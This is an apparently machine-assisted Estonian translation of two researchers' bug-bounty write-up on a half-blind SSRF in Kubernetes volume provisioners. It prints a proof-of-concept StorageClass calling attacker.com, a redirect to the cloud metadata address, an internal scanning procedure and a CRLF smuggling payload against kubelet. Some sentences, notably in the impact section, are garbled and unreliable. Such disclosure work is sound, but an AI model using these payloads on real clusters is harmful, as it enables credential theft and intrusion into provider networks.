MÀrkus tÔlke kohta.: artikli autorid rÀÀgivad pÔhjalikult, kuidas nad suutsid leida haavatavuse Kuberneteses. Kuigi algselt nÀgi see vÀlja mitte vÀga ohtlikuna, osutus selle kriitilisus koos teiste teguritega mÔnede pilveteenuste pakkujate puhul maksimaalseks. Tehtud töö eest premeeris mitmed organisatsioonid heldelt spetsialiste.

Kes me oleme
Meie oleme kaks Prantsuse kĂŒberturbeuurijat, kes avastasid koos haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, aga paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:
- â ;
- â Kubernetes'e arhitekt Nokia's.
Mis juhtus?
See artikkel on meie viis rÀÀkida sellest, kuidas tavaline uurimisprojekt muutus ootamatult kÔige pÔnevamaks seikluseks bugide jahil (vÀhemalt hetkel).
Kuidas te ilmselt teate, on bugide jahimeestel paar mÀrkimisvÀÀrset omadust:
- nad elavad pitsade ja Ôlle peal;
- nad töötavad siis, kui kÔik teised magavad.
Meie ei ole nende reeglite erand: tavaliselt kohtume nĂ€dalavahetustel ja veedame unetuks muutvaid hĂ€kkimisöid. Aga ĂŒks selline öö lĂ”ppes ĂŒsna ebatavaliselt.
Alguses plaanisime kohtuda, et arutada osalemist jĂ€rgmisel pĂ€eval. RÀÀkides Kubernetes'e turvalisusest hallatavates teenusekeskkondades, meenutasime vana ideed SSRF () ja otsustasime proovida kasutada seda rĂŒnnakuskeemina.
Kell 11 Ôhtul alustasime uurimistöödega ja lÀksime magama varakult hommikul, vÀga rahuldava tulemusega. Just nende uuringute tÔttu sattusime MSRC Bug Bounty programmi ja töötasime vÀlja Ôiguste eskaleerimise eksploidimise.
Möödusid nĂ€dalad/kuud ja meie ootamatud tulemused andsid meile ĂŒhe kĂ”rgeima preemia Ajaloo Azure Cloud Bug Bounty - lisaks sellele, mille me saime Kuberneteselt!
Meie uurimisprojekti alusel avaldas Kubernetes Product Security Committee .
NĂŒĂŒd soovime vĂ”imalikult palju jagada teavet leitud haavatavuse kohta. Loodame, et hindate leidmist ja jagate tehnilisi detaile teiste infosec kogukonna liikmetega!
Nii et siin on meie luguâŠ
Kontekst
Kuidas Kubernetes töötab pilvehallatavas keskkonnas, et mÔista maksimaalselt toimunu tÀhendust, vaatame kÔigepealt.
Kui loote Kubernetes klastrite egmendi sellises keskkonnas, vastutab tavaliselt halduskihi töö eest pilveteenuse pakkuja.

Halduskiht asub pilvepakkuja perimeetris, samas kui Kubernetes sÔlmed asuvad kliendi perimeetris.
DĂŒnaamiliseks mahute mÀÀramiseks kasutatakse mehhanismi, mis pakub neid dĂŒnaamiliselt vĂ€listest salvestusvaradest ja seondub PVC-ga (persistent volume claim, st sĂ€ilitusnĂ”ue).
Niipea, kui PVC on loodud ja seondatud StorageClassâiga K8s klastri, vastutab jĂ€rgmiste mahute mÀÀramise eest kube/cloud controller manager (tema tĂ€pne nimetus sĂ”ltub vĂ€ljaandest). (MĂ€rkus tĂ”lke kohta.: Lisainfot CCM kohta, kasutades ĂŒhe pilveteenuse pakkuja rakenduse nĂ€idet, oleme juba kirjutanud. .)
On mitmeid provisionerâite variante, mida Kubernetes toetab: enamik neist on kaasatud samuti haldavad teised tĂ€iendavad provisionerâid, mis asuvad klastris podâdes.
Oma uurimises keskendusime mahute mÀÀramise sisemisele mehhanismile, mida illustreeritakse allpool:

DĂŒnaamiline mahute mÀÀramine kasutades Kubernetesâi sisseehitatud provisionerâit.
LĂŒhidalt, kui Kubernetes on seadistatud hallatavas keskkonnas, vastutab controller managerâi töö eest pilveteenuse pakkuja, kuid mahute loomise nĂ”ue (number 3 ĂŒlaltoodud skeemis) lahkub pilvepakkuja sisemisest vĂ”rgust. Ja siit muutub olukord tĂ”eliselt pĂ”nevaks!
RĂŒnnaku stsenaarium
Selles jaotises rÀÀgime, kuidas kasutasime eespool mainitud töövoogu ja saime juurdepÀÀsu pilveteenuse pakkuja sisemistele ressurssidele. Samuti nĂ€itame, kuidas teatud toiminguid teostada â nĂ€iteks hankida sisemised autentimisteated vĂ”i tĂ”sta Ă”igusi.
Ăks lihtne manipulatsioon (sel juhul Service Side Request Forgery) aitas saavutada juurdepÀÀsu klientide keskkonnast vĂ€lja erinevate pilotu teenuse pakkujate K8s klastrites.
Oma uuringutes keskendusime GlusterFS provisionerile. Kuigi jÀrgmised sammud on kirjeldatud sellises kontekstis, on sama haavatavus ka Quobyte, StorageOS ja ScaleIO puhul.

Mahtude dĂŒnaamilise pakkumise mehhanismi Ă€rakasutamine
LĂ€henedes salvestusklasside analĂŒĂŒsile GlusterFS Go keeles kliendi lĂ€htekoodis me , et esimese HTTP-pĂ€ringu (3), mis saadeti mahtu luues, lĂ”ppu kasutaja URL-is parameetrina resturl sama teave, mis tavalisele konteinerile. /volumes.
Otsustasime selle lisatee eemaldada, lisades # parameetris resturl. See on esimene YAML-konfiguratsioon, mida kasutasime "poolpimedate" SSRF-haavatavuse testimiseks (lisateavet poolpimedate vĂ”i half-blind SSRF kohta vĂ”ib leida nĂ€iteks â toimetaja mĂ€rkus):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfSeejĂ€rel kasutasime Kubernetes klastrite kaugjuhtimiseks binaarfaili kubectl. Ăldiselt vĂ”imaldavad pilveteenuse pakkujad (Azure, Google, AWS jne) selle tööriista kasutamiseks mandaate hankida.
Selle tÔttu Ônnestus meil rakendada oma "eriline" fail. Kube-controller-manager sooritas lÔpptulemusena HTTP-pÀringu:
kubectl create -f sc-poc.yaml 
RĂŒnnaku seisukohalt
Varsti pĂ€rast seda suutsime ka saada HTTP-vastuse sihtserverilt â lĂ€bi kĂ€skude describe pvc vĂ”i get events kubectlis. Ja tĂ”epoolest: see Kubernetesi draiver on vaikimisi liiga sĂ”nakas oma hoiatuste/veateadete osas...
Siin on nÀide lingist https://www.google.fr, mis on seadistatud parameetrina resturl:
kubectl describe pvc poc-ssrf
# vĂ”i vĂ”ite kasutada ka kubectl get events 
Sellise lÀhenemise raames olime piiratud pÀringutega, mis olid HTTP POST ja ei saanud vastuse kehast sisu, kui tagastatud kood oli 201. SeetÔttu otsustasime teha tÀiendavaid uuringuid ja laiendasime seda hÀkkimisskeemi uute lÀhenemistega.
Meie uuringute evolutsioon
- EdasijÔudnud stsenaarium nr 1: 302. suunamise kasutamine vÀlisest serverist HTTP meetodi muutmiseks, et leida paindlikum viis sisemiste andmete kogumiseks.
- EdasijÔudnud stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.
- TĂ€psem stsenaarium â3: HTTP CRLF + salakaubanduse ('smuggling') HTTP-pĂ€ringute kasutamine kohandatud HTTP-pĂ€ringute loomiseks ja andmete saamiseks kube-controller'i logidest.
Tehnilised spetsifikatsioonid
- Uuringutes kasutati Azure Kubernetes Service (AKS) Kubernetes versiooniga 1.12 North Europe piirkonnas.
- Ălaltoodud stsenaariumid viidi lĂ€bi Kubernetes'i viimastel vĂ€ljaannetel, vĂ€lja arvatud kolmas stsenaarium, kuna see nĂ”udis Kubernetes'i, mis on kompileeritud Golang versiooniga †1.12.
- RĂŒndaja vĂ€line server â
https://attacker.com.
TĂ€psem stsenaarium â1: HTTP POST-pĂ€ringu ĂŒmbersuunamine GET-iks ja konfidentsiaalsete andmete saamine
Algne meetod oli tĂ€iustatud rĂŒndaja serveri seadistamisega selleks, et tagastada 302 HTTP Retcode, et konverteerida POST-pĂ€ring GET-pĂ€ringuks (samm 4 skeemil):

Esimene pĂ€ring (3), mis pĂ€rineb kliendilt GlusterFS (Controller Manager), on tĂŒĂŒbiga POST. JĂ€rgides jĂ€rgmisi samme, suudame selle muuta GET-iks:
- Parameetrina
resturlStorageClass'is on mÀÀratudhttp://attacker.com/redirect.php. - LÀbipÀÀs
https://attacker.com/redirect.phpvastab 302 HTTP staatusekoodiga jĂ€rgmise Location Header'iga:http://169.254.169.254. See vĂ”ib olla mis tahes muu sisemine ressurss â antud juhul kasutatakse ĂŒmbersuunamislinki ainult nĂ€itena. - Vaikimisi net/http teek Golang'ist suunab pĂ€ringu ĂŒmber ja konverteerib POST-i GET-iks 302. staatusekoodiga, mille tulemuseks on HTTP GET-pĂ€ring sihtressursile.
HTTP-vastuse keha lugemiseks tuleb teha describe PVC objekti:
kubectl describe pvc xxxSiin on nÀide HTTP-vastusest JSON-formaadis, mille suutsime saada:

Leitud haavatavuse vÔimalused olid sel hetkel piiratud jÀrgmiste pÔhjuste tÔttu:
- VÔimetus lisada HTTP-pealkirju vÀljastatud pÀringusse.
- VĂ”imetus teha POST-pĂ€ringut parameetritega kehas (nii on mugav kĂŒsida vĂ”tme vÀÀrtust etcd eksemplarilt, mis töötab 2379 portil, kui kasutatakse krĂŒpteerimata HTTP-d).
- VÔimetus saada vastuse keha sisu, kui staatusekood oli 200 ja vastusel ei olnud JSON Content-Type'i.
TĂ€psem stsenaarium â2: kohaliku vĂ”rgu skaneerimine
Seda meetodit half-blind SSRF kasutati seejĂ€rel pilveteenuse pakkuja sisevĂ”rgu skaneerimiseks ja erinevate kuulamisserverite (Metadata eksemplar, Kubelet, etcd jne) kĂŒsitlemiseks vastuste pĂ”hjal kube-controller'ilt.

Esmalt mÀÀrati Kubernetes'i komponentide standardne kuulamisportide (8443, 10250, 10251 jne) loetelu ning seejÀrel tuli skaneerimisprotsess automatiseerida.
NĂ€htes, et see skannimisviis on vĂ€ga spetsiifiline ja ei ĂŒhildu klassikaliste skannerite ja SSRF-tööriistadega, otsustasime luua oma bash-skripti töötajad, mis automatiseerivad kogu protsessi.
NĂ€iteks, et kiiremini skannida 172.16.0.0/12 sisevĂ”rgu vahemikku, kĂ€ivitati samaaegselt 15 töötajat. Ălaltoodud IP-vahemik valiti puhtalt nĂ€itena ja seda vĂ”ib muuta konkreetse teenusepakkuja IP-vahemikuks.
Ăhe IP-aadressi ja ĂŒhe pordi skannimiseks tuleb teha jĂ€rgmist:
- eemaldada eelmisel korral kontrollitud StorageClass;
- eemaldada eelmine kontrollitud Persistent Volume Claim;
- muuta vÀÀrtusi IP ja Port
sc.yaml; - luua StorageClass uue IP ja pordiga;
- luua uus PVC;
- tÔmmata skannimistulemused vÀlja PVC jaoks describe'iga.
TĂ€psem stsenaarium nr 3: CRLF-sĂŒst + HTTP-smuggling Kubernetes'i "vanades" versioonides
Kui lisaks sellele pakkuja pakkus klientidele vanu K8s-klastrite versioone ja avatakse neile kube-controller-manager'i logide juurde, muutub efekt veelgi mÀrgatavamaks.
RĂŒndajale on tĂ”eliselt palju mugavam muuta oma Ă€ranĂ€gemise jĂ€rgi HTTP-pĂ€ringuid, mis on suunatud tĂ€ieliku HTTP-vastuse saamisele.

Selle viimase stsenaariumi rakendamiseks pidid olema tÀidetud jÀrgmised tingimused:
- Kasutajal peab olema juurdepÀÀs kube-controller-manager'i logidele (nagu nÀiteks Azure LogInsights).
- Kubernetes'i klaster peab kasutama Golangi versiooni alla 1.12.
Me kÀivitasime kohalikku keskkonda, mis imiteerib andmevahetust Go-klient GlusterFS ja vale sihtserveri vahel (hetkel hoidume PoC avaldamisest).
Leiti , mis puudutas Golangi versioone alla 1.12 ja vĂ”imaldas hĂ€kkeritel lĂ€bi viia HTTP smuggling/CRLF rĂŒnnakuid.
Koondades ĂŒlaltoodud half-blind SSRF koos selle juurde, saime saata pĂ€ringuid oma maitse jĂ€rgi, sealhulgas asendada pealkirju, HTTP meetodeid, parameetreid ja andmeid, mida kube-controller-manager seejĂ€rel töötles.
Siin on nĂ€ide töötavast "pĂŒĂŒgikarpidest" parameetris resturl StorageClass'ist, mis rakendab sarnast rĂŒnnaku stsenaariumi:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnTulemuseks on viga unsolicited response, misabout, misabout, misabout kontrolli logidesse. TÀnu vaikimisi sissetulevusele salvestatakse sinna ka vastava HTTP-sÔnumi sisu.
![]()
See oli meie kĂ”ige tulemuslikum "pĂŒĂŒnis" tĂ”endite kontseptsiooni raames.
Kasutades sellist lĂ€henemist, suutsime teostada mĂ”ned jĂ€rgmistest rĂŒnnakutest erinevate haldava k8s pakkujate klastrites: Ă”iguste kĂ”rgendamine metadata-instantside autentimistunnuste kaudu, DoS juhtme abil (ĆĄifreerimata) HTTP-pĂ€ringutega master-instantides etcd ja nii edasi.
MÔjud
Kubernetes'e ametlikus avalduses avastatud SSRF- haavatavuse kohta anti sellele hinnang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kui arvestada ainult Kubernetes'e perimeetri haavatavust, kvalifitseeritakse integriteedi vektor (integrity vector) kui None.
Siiski, vĂ”imalike tagajĂ€rgede hindamine hallatavas teenuse keskkonnas (ja see oli meie uurimise kĂ”ige huvitavam osa!) sundis meid haavatavust ĂŒlekvalifitseerima hinnangule Kriitiline CVSS 10/10 paljude jaotajate jaoks.
Allpool on tÀiendav teave, mis aitab mÔista, millest lÀhtusime vÔimalike tagajÀrgede hindamisel pilvekeskkondades:
Integriteet
- Remote Command Execution saamnienie esimeseid sisemisi autentimistunnuseid.
- Ăksikuid ĂŒlaltoodud stsenaariume kasutades IDORi (Insecure Direct Object Reference) meetodiga teiste ressursside, mis leiti lokaalses vĂ”rgus.
Privaatsus
- Liikumine kĂŒlgede vahel Teabe kogumine lokaalsest vĂ”rgust skaneerimisega (SSH versioonide, HTTP-serveri versioonide jms mÀÀramine).
- Teabe kogumine instantside ja infrastruktuuri kohta sisemiste APIde kĂŒsimise kaudu, nagu metadata API (
- Klientide andmete vargus pilve autentimistunnuste kaudu.
http://169.254.169.254, âŠ). - KĂ”ik ekspluateerimise stsenaariumid, mis on seotud rĂŒnnakuvectoritega
Saadavus
integriteedi (integrity) , vÔivad olla kasutamiseks hÀvitavate tegevuste jaoks ja pÔhjustada, et klientide perimeetri (vÔi mÔne muu) master-instantid oleksid kÀtte saamata., vÔivad olla kasutatud hÀvitavateks eesmÀrkideks ning vÔivad pÔhjustada, et kliendi perimeetri (vÔi mÔne muu) meistriteenused muutuvad kÀttesaamatuks.
Kuna olime K8s-i hallatud keskkonnas ja hindasime mĂ”ju sĂŒsteemi terviklikkusele, vĂ”ib ette kujutada mitmeid stsenaariume, mis vĂ”iksid mĂ”jutada kĂ€ttesaadavust. NĂ€iteks vĂ”ib tuua andmebaasi etcd rikke vĂ”i kriitilise API Kubernetes'i kĂ”ne tegemise.
Ajatelg
- 6. detsember 2019: teade tuvastatud haavatavusest MSRC Bug Bounty'le.
- 3. jaanuar 2020: kolmas osapool teavitas Kubernetes'i arendajaid, et töötame turvaprobleemiga. Ja palus arvestada SSRF-i sisemise (in-core) haavatavusena. PĂ€rast seda esitasime ĂŒldise aruande tehniliste detailidega probleemi allika kohta.
- 15. jaanuar 2020: esitasime Kubernetes'i arendajatele tehnilised ja ĂŒldised aruanded nende pĂ€ringu pĂ”hjal (HackerOne platvormi kaudu).
- 15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF sĂŒstimine varasemate vĂ€ljundite jaoks peetakse in-core haavatavuseks. LĂ”petasime kohe teiste teenusepakkujate perimeetrite analĂŒĂŒsi: pĂ”hjuse uurimisega tegelema hakkas K8s'i meeskond.
- 15. jaanuar 2020: HackerOne kaudu saadi MSRC-lt preemia.
- 16. jaanuar 2020: Kubernetes'i PSC (Product Security Committee) tunnustas haavatavust ja palus selle saladuses hoida kuni mÀrtsi keskpaigani, arvestades suurt arvu potentsiaalseid ohvreid.
- 11. veebruar 2020: saadud preemia Google VRP-lt.
- 4. mÀrts 2020: HackerOne kaudu saadi preemia Kubernetes'lt.
- 15. mÀrts 2020: algselt planeeritud avalik avalikustamine viibiti COVID-19 olukorra tÔttu.
- 1. juuni 2020: Kubernetes'i ja Microsofti ĂŒhisavaldus haavatavusest.
TL;DR
- Me joome Ă”lut ja sööme pitsat đ
- Me avastasime in-core haavatavuse Kubernetes'es, kuigi me ei kavatsenud seda teha.
- Me tegime lisauuringut erinevate pilveteenuste klastrites ning suutsime suurendada haavatavuse tekitatud kahju, et saada lisaks suurepÀraseid boonuseid.
- Selles artiklis leiate palju tehnilisi ĂŒksikasju. Me arutame neid meeleldi teiega (Twitter: & ).
- Selgus, et kÔikvÔimalikud formaliteedid ja aruannete koostamine vÔtavad kauem aega, kui oodati.
Viidatud lingid
- ;
- ;
- ;
- .
P.S. tÔlkijalt
Lugege ka meie blogist:
- «»;
- «»;
- «».
Allikas: habr.com
